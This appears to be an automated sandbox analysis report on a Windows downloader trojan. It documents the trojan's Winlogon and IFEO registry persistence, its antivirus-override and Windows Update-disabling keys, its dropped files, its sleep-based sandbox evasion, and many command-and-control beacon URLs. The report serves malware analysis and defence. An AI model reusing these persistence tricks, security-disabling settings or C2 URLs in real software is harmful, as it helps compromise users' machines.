Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior

Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567			Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger			Jump to behavior

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

0_2_00403A19

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

0_2_00403A19

Source: C:\Windows\SysWOW64\oumkovet.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\SysWOW64\oumkovet.exe	Window / User API: threadDelayed 2708			Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Window / User API: threadDelayed 6882			Jump to behavior

Source: C:\Windows\SysWOW64\oumkovet.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\tledoh-ogeab.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\ugpeatar.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\adfabic.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\orcemoof.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\oumkovet.exe TID: 4292	Thread sleep count: 2708 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe TID: 4292	Thread sleep time: -2708000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe TID: 2568	Thread sleep count: 73 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe TID: 2568	Thread sleep time: -43800000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe TID: 4292	Thread sleep count: 6882 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe TID: 4292	Thread sleep time: -6882000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\oumkovet.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: f3VrANv7Uw.exe, 00000000.00000002.2038395830.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: oumkovet.exe, 00000001.00000003.2096520857.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2075580934.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2114463338.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2075580934.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2091500530.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2103060690.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2096520857.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2091434442.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2114528538.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2091434442.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, oumkovet.exe, 00000001.00000003.2103060690.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\SysWOW64\oumkovet.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

0_2_00403A19

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

0_2_00403A19

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Code function: 0_2_00403A19 mov eax, dword ptr fs:[00000030h]		0_2_00403A19
Source: C:\Windows\SysWOW64\oumkovet.exe	Code function: 2_2_00403A19 mov eax, dword ptr fs:[00000030h]		2_2_00403A19

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

0_2_00403A19

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,FindCloseChangeNotification,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,FindCloseChangeNotification,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPa		0_2_00403A19
Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,FindCloseChangeNotification,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,FindCloseChangeNotification,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPa		0_2_00403A19

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

Code function: 0_2_0040355D lstrcpyA,gethostbyname,htons,socket,closesocket,GetIpAddrTable,GetIpAddrTable,wsprintfA,lstrlenA,RasEnumConnectionsA,lstrcmpiA,lstrcmpiA,CreateThread,CloseHandle,GetSystemTimeAsFileTime,RegSetValueExA,RegSetValueExA,Sleep,

0_2_0040355D

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

0_2_00403A19

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\SysWOW64\oumkovet.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center AntiVirusOverride

Jump to behavior

Modifies windows update settings

Source: C:\Windows\SysWOW64\oumkovet.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU NoAutoUpdate

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	11 Process Injection	121 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	2 Disable or Modify Tools	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	11 Image File Execution Options Injection	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Image File Execution Options Injection	11 Process Injection	NTDS	12 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	3 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
f3VrANv7Uw.exe	100%	Avira	TR/Downloader.Gen
f3VrANv7Uw.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\orcemoof.dll	100%	Avira	TR/Dldr.Agent.swim
C:\Windows\SysWOW64\ugpeatar.exe	100%	Avira	TR/Downloader.Gen
C:\Users\user\AppData\Roaming\tmp1241.tmp	100%	Avira	TR/Downloader.Gen
C:\Windows\SysWOW64\oumkovet.exe	100%	Avira	TR/Downloader.Gen
C:\Windows\SysWOW64\adfabic.exe	100%	Avira	TR/Downloader.Gen
C:\Windows\SysWOW64\ugpeatar.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\oumkovet.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\adfabic.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://utbidet-ugeas.biz/d/N?029A65481B9E65481BA865601B9A659B8712664C5D9B6588B398607E35A84B7129AA55661B	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02F5273F7BF1273F7BC727177BF527ECE77D243B3DF427FFD3F7220955C7090649C517117B	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?020612B11E0212B11E3412991E061262828E11B558071271B604178730343C882C36229F1E	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02250FF32B210FF32B170FDB2B250F20B7AD0CF76D240F3383270AC5051721CA19153FDD2B	100%	Avira URL Cloud	phishing
http://rnmkcgd.ph/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02596BC4FA5D6BC4FA6B6BECFA596B1766D168C0BC586B04525B6EF2D46B45FDC8695BEAFA	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02354A3FAE314A3FAE074A17AE354AEC32BD493BE8344AFF06374F09800764069C057A11AE	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02873C3107833C3107B53C1907873CE29B0F3F3541863CF1AF85390729B5120835B70C1F07	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0204387E3A00387E3A3638563A0438ADA68C3B7A7C0538BE92063D4814361647083408503A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029A328EEA9E328EEAA832A6EA9A325D7612318AAC9B324E429837B8C4A81CB7D8AA02A0EA	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?028C245EC388245EC3BE2476C38C248D5F04275A858D249E6B8E2168EDBE0A67F1BC1470C3	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?020C96BF400896BF403E9697400C966CDC8495BB060D967FE80E93896E3EB886723CA69140	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B2064794B606479480066F94B20694083A0543D2B306873CB00371BA80287EA682366994	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C255B05CC655B05CF055985CC25563C04A56B41AC35570F4C0508672F07B896EF2659E5C	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C2C6213AC6C6213AF0C6093AC2C6F2A64AC5257CC3C6E192C0C31714F0E81808F2F60F3A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0290624A2D94624A2DA262622D906299B118614E6B91628A8592677C03A24C731FA052642D	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0289EC2CDB8DEC2CDBBBEC04DB89ECFF4701EF289D88ECEC738BE91AF5BBC215E9B9DC02DB	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029AD45BF19ED45BF1A8D473F19AD4886D12D75FB79BD49B5998D16DDFA8FA62C3AAE475F1	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02D0BD8FD6D4BD8FD6E2BDA7D6D0BD5C4A58BE8B90D1BD4F7ED2B8B9F8E293B6E4E08DA1D6	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02E448F1E4E048F1E4D64899E4E44822786C4BF5A2E548314CE64DC7CAD666C8D6D478DFE4	100%	Avira URL Cloud	phishing
http://%s.biz/d/N?http://%s.biz/d/G?http://%s/d/rpt?%smodemisdn%u.%u.%u.%s	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C3BA0D26C7BA0D26F1BA2526C3BADEBA4BB90960C2BACD8EC1BF3B08F1943414F38A2326	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0229279E242D279E241B27B62429274DB8A1249A6228275E8C2B22A80A1B09A7161917B024	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02301DF5B8341DF5B8021DDDB8301D2624B81EF1FE311D35103218C3960233CC8A002DDBB8	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?025C65CBD45865CBD46E65A3D45C651848D466CF925D650B7C5E60FDFA6E4BF2E66C55E5D4	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02A2884F39A6884F3990886739A2889CA52A8B4B7FA3888F91A08D791790A6760B92B86139	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F	100%	Avira URL Cloud	phishing
http://%s.biz/d/N?	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0278AEB67A7CAEB67A4AAE9E7A78AE65E6F0ADB23C79AE76D27AAB80544A808F48489E987A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B11815CCB51815CC83183DCCB118C650391B118AB018D564B31D23E283362CFE81283BCC	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?023878CFF83C78CFF80A78E7F838781C64B07BCBBE39780F503A7DF9D60A56F6CA0848E1F8	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02CA081B7BCE081B7BF808337BCA08C8E7420B1F3DCB08DBD3C80D2D55F8262249FA38357B	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02CAC7ED44CEC7ED44F8C7C544CAC73ED842C4E902CBC72DECC8C2DB6AF8E9D476FAF7C344	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?020FE83E530BE83E533DE816530FE8EDCF87EB3A150EE8FEFB0DED087D3DC607613FD81053	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029AC796FD9EC796FDA8C7BEFD9AC7456112C492BB9BC7565598C2A0D3A8E9AFCFAAF7B8FD	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02966C15CA926C15CAA46C3DCA966CC6561E6F118C976CD562946923E4A4422CF8A65C3BCA	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02342BE100302BE100062BC900342B329CBC28E546352B21A8362ED72E0605D832041BCF00	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0259C57B615DC57B616BC5536159C5A8FDD1C67F2758C5BBC95BC04D4F6BEB425369F55561	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C45977D0C05977D0F6595FD0C459A44C4C5A7396C559B778C65C41FEF6774EE2F46959D0	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?028C02AD078802AD07BE0285078C027E9B0401A9418D026DAF8E079B29BE2C9435BC328307	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02A280D965A680D9659080F165A2800AF92A83DD23A38019CDA085EF4B90AEE05792B0F765	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0210E2B2A714E2B2A722E29AA710E2613B98E1B6E111E2720F12E7848922CC8B9520D29CA7	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0235D26E0531D26E0507D2460535D2BD99BDD16A4334D2AEAD37D7582B07FC573705E24005	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?025CCE9BE558CE9BE56ECEB3E55CCE4879D4CD9FA35DCE5B4D5ECBADCB6EE0A2D76CFEB5E5	100%	Avira URL Cloud	phishing
